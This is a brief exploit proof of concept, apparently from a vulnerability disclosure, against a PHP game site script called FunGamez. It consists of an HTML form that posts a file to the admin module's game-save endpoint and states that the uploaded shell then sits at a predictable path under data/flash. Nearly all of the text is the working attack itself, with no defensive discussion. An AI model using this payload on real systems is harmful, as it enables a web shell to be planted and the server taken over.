Proof of concept:

<form action="http://localhost/[FunGamez]/index.php?admin&module=game&mode=newsave" method="POST" enctype="multipart/form-data">
<input type="text" name="name" value="blablablablabla" /><br>
<input type="file" name="src_upload" /><br>
<input type="submit" value="w00tw00t" />

And your shell will be available here:

http://localhost/[FunGamez]/data/flash/shell.php
